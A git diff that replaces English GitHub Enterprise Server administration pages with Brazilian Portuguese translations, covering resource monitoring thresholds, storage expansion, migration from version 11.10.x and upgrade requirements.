+É recomendável monitorar seus dispositivos de armazenamento raiz e de usuário, bem como configurar um alerta com valores que definam um tempo de resposta longo quando o espaço em disco disponível estiver baixo.
 
-You can adjust these values based on the total amount of storage allocated, historical growth patterns, and expected time to respond. We recommend over-allocating storage resources to allow for growth and prevent the downtime required to allocate additional storage.
+| gravidade   | Limite                                       |
+| ----------- | -------------------------------------------- |
+| **Aviso**   | Uso do disco excede 70% do total disponível. |
+| **Crítico** | Uso do disco excede 85% do total disponível. |
 
-## Monitoring CPU and load average usage
+Você pode ajustar esses valores com base na quantidade de armazenamento total alocada, nos padrões históricos de crescimento e no tempo esperado de resposta. Recomendamos a superalocação dos recursos de armazenamento para permitir o crescimento e evitar o tempo de inatividade necessário para alocar armazenamento adicional.
 
-Although it is normal for CPU usage to fluctuate based on resource-intense Git operations, we recommend configuring an alert for abnormally high CPU utilization, as prolonged spikes can mean your instance is under-provisioned. We recommend monitoring the fifteen-minute system load average for values nearing or exceeding the number of CPU cores allocated to the virtual machine.
+## Monitoramento de CPU e uso médio de carga
 
-| Severity | Threshold |
-| -------- | --------- |
-| **Warning** | Fifteen minute load average exceeds 1x CPU cores |
-| **Critical** | Fifteen minute load average exceeds 2x CPU cores |
+Embora seja normal haver oscilação no uso de CPU conforme as operações do Git, é recomendável configurar um alerta para identificar usos de CPU altos demais, já que os picos prolongados podem indicar provisionamento insuficiente da sua instância. Recomendamos monitorar a média de carga do sistema a cada quinze minutos para valores próximos ou superiores ao número de núcleos de CPU alocados à máquina virtual.
 
-We also recommend that you monitor virtualization "steal" time to ensure that other virtual machines running on the same host system are not using all of the instance's resources.
+| gravidade   | Limite                                                     |
+| ----------- | ---------------------------------------------------------- |
+| **Aviso**   | Média de carga de quinze minutos excede 1x núcleos de CPU. |
+| **Crítico** | Média de carga de quinze minutos excede 2x núcleos de CPU. |
 
-## Monitoring memory usage
+Também é recomendável monitorar o tempo de "roubo" da virtualização para garantir que outras máquinas virtuais em execução no mesmo sistema host não usem todos os recursos da instância.
 
-The amount of physical memory allocated to {% data variables.product.product_location %} can have a large impact on overall performance and application responsiveness. The system is designed to make heavy use of the kernel disk cache to speed up Git operations. We recommend that the normal RSS working set fit within 50% of total available RAM at peak usage.
+## Monitorar o uso de memória
 
-| Severity | Threshold |
-| -------- | --------- |
-| **Warning**  | Sustained RSS usage exceeds 50% of total available memory |
-| **Critical** | Sustained RSS usage exceeds 70% of total available memory |
+A quantidade de memória física alocada para a {% data variables.product.product_location %} pode ter um grande impacto no desempenho geral e na capacidade de resposta do aplicativo. O sistema é projetado para fazer uso intenso do cache de disco do kernel a fim de acelerar as operações do Git. Recomendamos que o conjunto de trabalho RSS normal caiba em 50% do total de RAM disponível no uso máximo.
 
-If memory is exhausted, the kernel OOM killer will attempt to free memory resources by forcibly killing RAM heavy application processes, which could result in a disruption of service. We recommend allocating more memory to the virtual machine than is required in the normal course of operations.
+| gravidade   | Limite                                                           |
+| ----------- | ---------------------------------------------------------------- |
+| **Aviso**   | Uso de RSS sustentado excede 50% do total de memória disponível. |
+| **Crítico** | Uso de RSS sustentado excede 70% do total de memória disponível. |
+
+Se a memória estiver esgotada, o killer OOM do kernel tentará liberar recursos de memória eliminando à força os processos de aplicativos pesados da RAM, o que pode causar a interrupção do serviço. É recomendável alocar mais memória do que o necessário para a máquina virtual no curso normal das operações.
diff --git a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
index b17df486d0..e5b5571563 100644
--- a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
+++ b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
@@ -1,6 +1,6 @@
 ---
-title: Increasing storage capacity
-intro: 'You can increase or change the amount of storage available for Git repositories, databases, search indexes, and other persistent application data.'
+title: Aumentar a capacidade de armazenamento
+intro: 'Você pode aumentar ou alterar a quantidade de armazenamento disponível para repositórios, bancos de dados, índices de pesquisa e outros dados persistentes de aplicativo no Git.'
 redirect_from:
   - /enterprise/admin/installation/increasing-storage-capacity
   - /enterprise/admin/enterprise-management/increasing-storage-capacity
@@ -13,80 +13,81 @@ topics:
   - Infrastructure
   - Performance
   - Storage
-shortTitle: Increase storage capacity
+shortTitle: Aumentar capacidade de armazenamento
 ---
+
 {% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %}
 
-As more users join {% data variables.product.product_location %}, you may need to resize your storage volume. Refer to the documentation for your virtualization platform for information on resizing storage.
+À medida que mais usuários se juntam à sua {% data variables.product.product_location %}, talvez seja necessário redimensionar o volume de armazenamento. Consulte a documentação da sua plataforma de virtualização para obter informações sobre como fazer isso.
 
-## Requirements and recommendations
+## Requisitos e recomendações
 
 {% note %}
 
-**Note:** Before resizing any storage volume, put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+**Observação:** antes de redimensionar qualquer volume de armazenamento, coloque a sua instância em modo de manutenção. Para obter mais informações, consulte "[Habilitar e programar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)".
 
 {% endnote %}
 
-### Minimum requirements
+### Requisitos mínimos
 
 {% data reusables.enterprise_installation.hardware-rec-table %}
 
-## Increasing the data partition size
+## Aumentar o tamanho da partição de dados
 
-1. Resize the existing user volume disk using your virtualization platform's tools.
+1. Redimensione o disco de volume de usuário existente usando as ferramentas da plataforma de virtualização.
 {% data reusables.enterprise_installation.ssh-into-instance %}
-3. Put the appliance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
-4. Reboot the appliance to detect the new storage allocation:
+3. Deixe o appliance em modo de manutenção. Para obter mais informações, consulte "[Habilitar e programar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)".
+4. Reinicie o appliance para detectar a alocação do novo armazenamento:
   ```shell
   $ sudo reboot
   ```
-5. Run the `ghe-storage-extend` command to expand the `/data/user` filesystem:
+5. Execute o comando `ghe-storage-extend` para expandir o sistema de arquivos `/data/user`:
   ```shell
   $ ghe-storage-extend
   ```
 
-## Increasing the root partition size using a new appliance
+## Aumentar o tamanho da partição de dados raiz usando um novo appliance
 
-1. Set up a new {% data variables.product.prodname_ghe_server %} instance with a larger root disk using the same version as your current appliance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
-2. Shut down the current appliance:
+1. Configure uma nova instância do {% data variables.product.prodname_ghe_server %} com um disco raiz maior usando a mesma versão do appliance atual. Para obter mais informações, consulte "[Configurar uma instância do {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)".
+2. Desligue o appliance atual:
   ```shell
   $ sudo poweroff
   ```
-3. Detach the data disk from the current appliance using your virtualization platform's tools.
-4. Attach the data disk to the new appliance with the larger root disk.
+3. Desvincule o disco de dados do appliance atual usando as ferramentas da plataforma de virtualização.
+4. Vincule o disco de dados ao novo appliance com o disco raiz maior.
 
-## Increasing the root partition size using an existing appliance
+## Aumentar o tamanho da partição de dados raiz usando um appliance existente
 
 {% warning %}
 
-**Warning:** Before increasing the root partition size, you must put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+**Aviso:** Antes de aumentar o tamanho da partição-raiz, você deve colocar sua instância no modo de manutenção. Para obter mais informações, consulte "[Habilitar e programar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)".
 
 {% endwarning %}
 
-1. Attach a new disk to your {% data variables.product.prodname_ghe_server %} appliance.
-1. Run the `parted` command to format the disk:
+1. Vincule o novo disco ao appliance do {% data variables.product.prodname_ghe_server %}.
+1. Execute o comando `parted` para formatar o disco:
   ```shell
   $ sudo parted /dev/xvdg mklabel msdos
   $ sudo parted /dev/xvdg mkpart primary ext4 0% 50%
   $ sudo parted /dev/xvdg mkpart primary ext4 50% 100%
   ```
-1. To stop replication, run the `ghe-repl-stop` command.
+1. Para interromper a replicação, execute o comando `ghe-repl-stop`.
 
    ```shell
    $ ghe-repl-stop
    ```
-   
-1. Run the `ghe-upgrade` command to install a full, platform specific package to the newly partitioned disk. A universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`, will not work as expected. After the `ghe-upgrade` command completes, application services will automatically terminate.
+
+1. Execute o comando `ghe-upgrade` para instalar um pacote completo específico da plataforma no disco recém-particionado. Pacotes de atualização de hotpatch universais, como `github-enterprise-2.11.9.hpkg`, não funcionarão conforme o esperado. Depois que o comando `ghe-upgrade` for concluído, os serviços do aplicativo serão encerrados automaticamente.
 
   ```shell
   $ ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg1
   ```
-1. Shut down the appliance:
+1. Desligue o appliance:
   ```shell
   $ sudo poweroff
   ```
-1. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk.
-1. Start the appliance.
-1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+1. No hipervisor, remova o disco raiz antigo e vincule o novo disco raiz no mesmo local do antigo.
+1. Inicie o appliance.
+1. Certifique-se de que os serviços do sistema estejam funcionando corretamente, depois liberar o modo de manutenção. Para obter mais informações, consulte "[Habilitar e programar o modo de manutenção](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)".
 
-If your appliance is configured for high-availability or geo-replication, remember to start replication on each replica node using `ghe-repl-start` after the storage on all nodes has been upgraded.
+Se seu dispositivo estiver configurado para alta disponibilidade ou georreplicação, lembre-se de iniciar a replicação em cada nó de réplica usando `ghe-repl-start` após a atualização do armazenamento em todos os nós.
diff --git a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
index 126dce06e2..9c8215a34a 100644
--- a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
+++ b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
@@ -1,6 +1,6 @@
 ---
-title: Updating the virtual machine and physical resources
-intro: 'Upgrading the virtual software and virtual hardware requires some downtime for your instance, so be sure to plan your upgrade in advance.'
+title: Atualizar a máquina virtual e os recursos físicos
+intro: 'A atualização de software e hardware virtuais envolve algum tempo de inatividade para sua instância. Portanto, planeje a atualização com bastante antecedência.'
 redirect_from:
   - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-the-vm'
   - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-physical-resources'
@@ -17,6 +17,6 @@ children:
   - /increasing-storage-capacity
   - /increasing-cpu-or-memory-resources
   - /migrating-from-github-enterprise-1110x-to-2123
-shortTitle: Update VM & resources
+shortTitle: Atualizar VM & Recursos
 ---
 
diff --git a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
index 912f655881..8fbd463810 100644
--- a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
+++ b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
@@ -1,5 +1,5 @@
 ---
-title: Migrating from GitHub Enterprise 11.10.x to 2.1.23
+title: Migrar do GitHub Enterprise 11.10.x para o 2.1.23
 redirect_from:
   - /enterprise/admin/installation/migrating-from-github-enterprise-1110x-to-2123
   - /enterprise/admin-guide/migrating
@@ -10,7 +10,7 @@ redirect_from:
   - /enterprise/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23
   - /enterprise/admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
   - /admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
-intro: 'To migrate from {% data variables.product.prodname_enterprise %} 11.10.x to 2.1.23, you''ll need to set up a new appliance instance and migrate data from the previous instance.'
+intro: 'Para migrar do {% data variables.product.prodname_enterprise %} 11.10.x para o 2.1.23, você precisará configurar uma nova instância do appliance e migrar os dados da instância anterior.'
 versions:
   ghes: '*'
 type: how_to
@@ -18,85 +18,81 @@ topics:
   - Enterprise
   - Migration
   - Upgrades
-shortTitle: Migrate from 11.10.x to 2.1.23
+shortTitle: Migrar de 11.10.x para 2.1.23
 ---
-Migrations from {% data variables.product.prodname_enterprise %} 11.10.348 and later are supported. Migrating from {% data variables.product.prodname_enterprise %} 11.10.348 and earlier is not supported. You must first upgrade to 11.10.348 in several upgrades. For more information, see the 11.10.348 upgrading procedure, "[Upgrading to the latest release](/enterprise/11.10.340/admin/articles/upgrading-to-the-latest-release/)."
 
-To upgrade to the latest version of {% data variables.product.prodname_enterprise %}, you must first migrate to {% data variables.product.prodname_ghe_server %} 2.1, then you can follow the normal upgrade process. For more information, see "[Upgrading {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)".
+Há suporte para migrações do {% data variables.product.prodname_enterprise %} 11.10.348 e mais recentes. Não há suporte para migrações do {% data variables.product.prodname_enterprise %} 11.10.348 e versões anteriores. Você deve atualizar o 11.10.348 em várias etapas de atualização. Para obter mais informações, consulte o procedimento de atualização do 11.10.348, "[Atualizar para a versão mais recente](/enterprise/11.10.340/admin/articles/upgrading-to-the-latest-release/)".
 
-## Prepare for the migration
+Para atualizar para a versão mais recente do {% data variables.product.prodname_enterprise %}, você deve migrar para a versão {% data variables.product.prodname_ghe_server %} 2.1 e só então poderá seguir o processo regular. Para obter mais informações, consulte "[Atualizar o {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)".
 
-1. Review the Provisioning and Installation guide and check that all prerequisites needed to provision and configure {% data variables.product.prodname_enterprise %} 2.1.23 in your environment are met. For more information, see "[Provisioning and Installation](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)."
-2. Verify that the current instance is running a supported upgrade version.
-3. Set up the latest version of the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils).
-    - If you have already configured scheduled backups using {% data variables.product.prodname_enterprise_backup_utilities %}, make sure you have updated to the latest version.
-    - If you are not currently running scheduled backups, set up {% data variables.product.prodname_enterprise_backup_utilities %}.
-4. Take an initial full backup snapshot of the current instance using the `ghe-backup` command. If you have already configured scheduled backups for your current instance, you don't need to take a snapshot of your instance.
+## Preparar para a migração
+
+1. Revise o guia de provisionamento e instalação e verifique se foram atendidos todos os pré-requisitos necessários para provisionar e configurar o {% data variables.product.prodname_enterprise %} 2.1.23 no seu ambiente. Para obter mais informações, consulte "[Provisionar e instalar](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)".
+2. Verifique se a instância atual está sendo executada em uma versão de atualização compatível.
+3. Configure a versão mais recente do {% data variables.product.prodname_enterprise_backup_utilities %}. Para obter mais informações, consulte [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils).
+    - Se você já configurou backups programados usando o {% data variables.product.prodname_enterprise_backup_utilities %}, certifique-se de atualizar para a versão mais recente.
+    - Se você não estiver executando backups programados no momento, configure o {% data variables.product.prodname_enterprise_backup_utilities %}.
+4. Faça um instantâneo inicial de backup completo da instância atual usando o comando `ghe-backup`. Se você já configurou backups programados na instância atual, não será necessário obter o instantâneo.
 
    {% tip %}
 
-   **Tip:** You can leave the instance online and in active use during the snapshot. You'll take another snapshot during the maintenance portion of the migration. Since backups are incremental, this initial snapshot reduces the amount of data transferred in the final snapshot, which may shorten the maintenance window.
+   **Dica:** durante a obtenção do instantâneo, você pode deixar a instância online e em uso. Você fará outro instantâneo durante a parte de manutenção da migração. Como os backups são incrementais, o instantâneo inicial reduz a quantidade de dados transferidos no instantâneo final, o que pode reduzir o período de manutenção.
 
    {% endtip %}
 
-5. Determine the method for switching user network traffic to the new instance. After you've migrated, all HTTP and Git network traffic directs to the new instance.
-    - **DNS** - We recommend this method for all environments, as it's simple and works well even when migrating from one datacenter to another. Before starting migration, reduce the existing DNS record's TTL to five minutes or less and allow the change to propagate. Once the migration is complete, update the DNS record(s) to point to the IP address of the new instance.
-    - **IP address assignment** - This method is only available on VMware to VMware migration and is not recommended unless the DNS method is unavailable. Before starting the migration, you'll need to shut down the old instance and assign its IP address to the new instance.
-6. Schedule a maintenance window. The maintenance window should include enough time to transfer data from the backup host to the new instance and will vary based on the size of the backup snapshot and available network bandwidth. During this time your current instance will be unavailable and in maintenance mode while you migrate to the new instance.
+5. Determine o método para alternar o tráfego de rede do usuário para a nova instância. Após a migração, todo o tráfego de rede HTTP e Git será direcionado para a nova instância.
+    - **DNS** - Esse método é recomendável para todos os ambientes porque é simples e funciona bem, mesmo ao migrar de um datacenter para outro. Antes de iniciar a migração, reduza o TTL do registro DNS para cinco minutos ou menos e permita a propagação da alteração. Quando a migração for concluída, atualize o(s) registro(s) DNS de modo a apontar para o endereço IP da nova instância.
+    - **Atribuição de endereço IP** - Este método só está disponível na migração de VMware para VMware e é recomendado apenas se o método DNS não estiver disponível. Antes de iniciar a migração, você terá que desligar a instância antiga e atribuir seu endereço IP à nova instância.
+6. Programe um período de manutenção. O período de manutenção deve abranger tempo suficiente para transferir os dados do host de backup para a nova instância. Esse período varia com base no tamanho do instantâneo de backup e na largura de banda de rede disponível. Durante esse período, sua instância atual ficará indisponível e em modo de manutenção enquanto você migra para a nova instância.
 
-## Perform the migration
+## Fazer a migração
 
-1. Provision a new {% data variables.product.prodname_enterprise %} 2.1 instance. For more information, see the "[Provisioning and Installation](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)" guide for your target platform.
-2. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license.
-3. Set an admin password.
-5. Click **Migrate**.
-![Choosing install type](/assets/images/enterprise/migration/migration-choose-install-type.png)
-6. Paste your backup host access SSH key into "Add new SSH key".
-![Authorizing backup](/assets/images/enterprise/migration/migration-authorize-backup-host.png)
-7. Click **Add key** and then click **Continue**.
-8. Copy the `ghe-restore` command that you'll run on the backup host to migrate data to the new instance.
-![Starting a migration](/assets/images/enterprise/migration/migration-restore-start.png)
-9. Enable maintenance mode on the old instance and wait for all active processes to complete. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+1. Provisione uma nova instância do {% data variables.product.prodname_enterprise %} 2.1. Para obter mais informações, consulte o guia "[Provisionar e instalar](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)" da plataforma de destino.
+2. Em um navegador, vá até o novo endereço IP do appliance réplica e faça o upload da sua licença do {% data variables.product.prodname_enterprise %}.
+3. Defina uma senha de administrador.
+5. Clique em **Migrate** (Migrar). ![Escolher o tipo de instalação](/assets/images/enterprise/migration/migration-choose-install-type.png)
+6. Cole a chave SSH de acesso ao host de backup em "Add new SSH key" (Adicionar nova chave SSH). ![Autorizar o backup](/assets/images/enterprise/migration/migration-authorize-backup-host.png)
+7. Clique em **Adicionar chave** e, em seguida, clique em **Continuar**.
+8. Copie o comando `ghe-restore` a ser executado no host do backup para migrar os dados para a nova instância. ![Iniciar a migração](/assets/images/enterprise/migration/migration-restore-start.png)
+9. Habilite o modo de manutenção na instância antiga e aguarde a conclusão de todos os processos ativos. Para obter mais informações, consulte "[Habilitar e programar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)".
 
   {% note %}
 
-  **Note:** The instance will be unavailable for normal use from this point forward.
+  **Observação:** a partir deste momento, a instância ficará indisponível para uso regular.
 
   {% endnote %}
 
-10. On the backup host, run the `ghe-backup` command to take a final backup snapshot. This ensures that all data from the old instance is captured.
-11. On the backup host, run the `ghe-restore` command you copied on the new instance's restore status screen to restore the latest snapshot.
+10. No host do backup, execute o comando `ghe-backup` para fazer o último instantâneo de backup. Essa ação garante a obtenção de todos os dados da instância antiga.
+11. No host de backup, execute o comando `ghe-restore` que você copiou na tela de status de restauração da nova instância para restaurar o instantâneo mais recente.
   ```shell
   $ ghe-restore 169.254.1.1
   The authenticity of host '169.254.1.1:122' can't be established.
-  RSA key fingerprint is fe:96:9e:ac:d0:22:7c:cf:22:68:f2:c3:c9:81:53:d1.
-  Are you sure you want to continue connecting (yes/no)? yes
+  A impressão digital da chave RSA é fe:96:9e:ac:d0:22:7c:cf:22:68:f2:c3:c9:81:53:d1.
+  Tem certeza de que deseja continuar com a conexão (sim/não)? yes
   Connect 169.254.1.1:122 OK (v2.0.0)
   Starting restore of 169.254.1.1:122 from snapshot 20141014T141425
   Restoring Git repositories ...
-  Restoring GitHub Pages ...
-  Restoring asset attachments ...
-  Restoring hook deliveries ...
-  Restoring MySQL database ...
-  Restoring Redis database ...
-  Restoring SSH authorized keys ...
-  Restoring Elasticsearch indices ...
-  Restoring SSH host keys ...
+  Restaurando o GitHub Pages...
+  Restaurando anexos de ativos...
+  Restaurando entregas de hooks...
+  Restaurando o database MySQL...
+  Restaurando o database Redis...
+  Restaurando chaves SSH autorizadas...
+  Restaurando índices do Elasticsearch...
+  Restaurando chaves SSH de host...
   Completed restore of 169.254.1.1:122 from snapshot 20141014T141425
   Visit https://169.254.1.1/setup/settings to review appliance configuration.
   ```
 
-12. Return to the new instance's restore status screen to see that the restore completed.
-![Restore complete screen](/assets/images/enterprise/migration/migration-status-complete.png)
-13. Click **Continue to settings** to review and adjust the configuration information and settings that were imported from the previous instance.
-![Review imported settings](/assets/images/enterprise/migration/migration-status-complete.png)
-14. Click **Save settings**.
+12. Volte à tela de status de restauração da nova instância para confirmar a conclusão da restauração. ![Tela de restauração concluída](/assets/images/enterprise/migration/migration-status-complete.png)
+13. Clique em **Continue to settings** (Continuar em configurações) para revisar e ajustar as informações de configuração importadas da instância anterior. ![Revisar configurações importadas](/assets/images/enterprise/migration/migration-status-complete.png)
+14. Clique em **Save settings** (Salvar configurações).
 
   {% note %}
 
-  **Note:** You can use the new instance after you've applied configuration settings and restarted the server.
+  **Observação:** você pode usar a nova instância depois de aplicar as definições de configuração e reiniciar o servidor.
 
   {% endnote %}
 
-15. Switch user network traffic from the old instance to the new instance using either DNS or IP address assignment.
-16. Upgrade to the latest patch release of {{ currentVersion }}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)."
+15. Alterne o tráfego de rede do usuário da instância antiga para a nova instância usando a atribuição de endereço DNS ou IP.
+16. Atualize para a versão de patch mais recente da versão {{ currentVersion }}. Para obter mais informações, consulte "[Atualizar o {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)".
diff --git a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md
index 67ec886148..d6c69f8b31 100644
--- a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md
+++ b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrade requirements
-intro: 'Before upgrading {% data variables.product.prodname_ghe_server %}, review these recommendations and requirements to plan your upgrade strategy.'
+title: Requisitos de atualização
+intro: 'Antes de atualizar o {% data variables.product.prodname_ghe_server %}, veja as recomendações e requisitos a seguir para planejar sua estratégia de atualização.'
 redirect_from:
   - /enterprise/admin/installation/upgrade-requirements
   - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release
@@ -13,41 +13,42 @@ topics:
   - Enterprise
   - Upgrades
 ---
+
 {% note %}
 
-**Notes:**
-{% ifversion ghes < 3.3 %}- Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements.{% endif %}
-- Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance.
-- If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering.
-- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases).
+**Notas:**
+{% ifversion ghes < 3.3 %}- Recursos como {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} e {% data variables.product.prodname_GH_advanced_security %} estão disponíveis em {% data variables.product.prodname_ghe_server %} 3.0 ou superior. É altamente recomendável que você faça a atualização para versão 3.0 ou posterior para aproveitar as atualizações críticas de segurança, correções de erros e melhorias de recursos.{% endif %}
+- Nas versões com suporte, há pacotes de atualização disponíveis em [enterprise.github.com](https://enterprise.github.com/releases). Verifique a disponibilidade dos pacotes de atualização necessários para concluir a atualização. Se um pacote não estiver disponível, entre em contato com o {% data variables.contact.contact_ent_support %} para obter assistência.
+- Se estiver usando o clustering do {% data variables.product.prodname_ghe_server %}, consulte "[Atualizar cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" no guia de clustering do {% data variables.product.prodname_ghe_server %} para obter instruções específicas.
+- As notas de versão do {% data variables.product.prodname_ghe_server %} mostram uma lista abrangente dos novos recursos de cada versão do {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte a [página de versões](https://enterprise.github.com/releases).
 
 {% endnote %}
 
-## Recommendations
+## Recomendações
 
-- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. Use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
-- If you’re several versions behind, upgrade {% data variables.product.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step.
-- Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %}
-- Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)."
-- When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete.
-- Take a snapshot before upgrading your virtual machine. For more information, see "[Taking a snapshot](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)." 
-- Ensure you have a recent, successful backup of your instance. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme).
+- Inclua o mínimo possível de atualizações no seu processo. Por exemplo, em vez de atualizar do {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} para o {{ enterpriseServerReleases.supported[1] }} e depois para o {{ enterpriseServerReleases.latest }}, atualize do {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} para o {{ enterpriseServerReleases.latest }}. Use o [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) para encontrar o caminho de atualização da sua versão atual.
+- Se a sua versão estiver muito defasada, atualize a {% data variables.product.product_location %} para a versão mais atual disponível a cada etapa do processo. Ao usar a versão mais recente em cada atualização, você pode aproveitar as melhorias de desempenho e as correções de erros. Por exemplo, você poderia atualizar do {% data variables.product.prodname_enterprise %} 2.7 para o 2.8 e depois para o 2.10. No entanto, atualizar do {% data variables.product.prodname_enterprise %} 2.7 para o 2.9 e depois para o 2.10 usa uma versão mais recente na segunda etapa.
+- Ao atualizar, use a versão mais recente do patch. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %}
+- Use uma instância de preparo para testar as etapas da atualização. Para obter mais informações, consulte "[Configurar instância de preparo](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)".
+- Ao executar várias atualizações, espere pelo menos 24 horas entre atualizações de recursos para permitir que as migrações de dados e as tarefas de atualização executadas em segundo plano sejam totalmente concluídas.
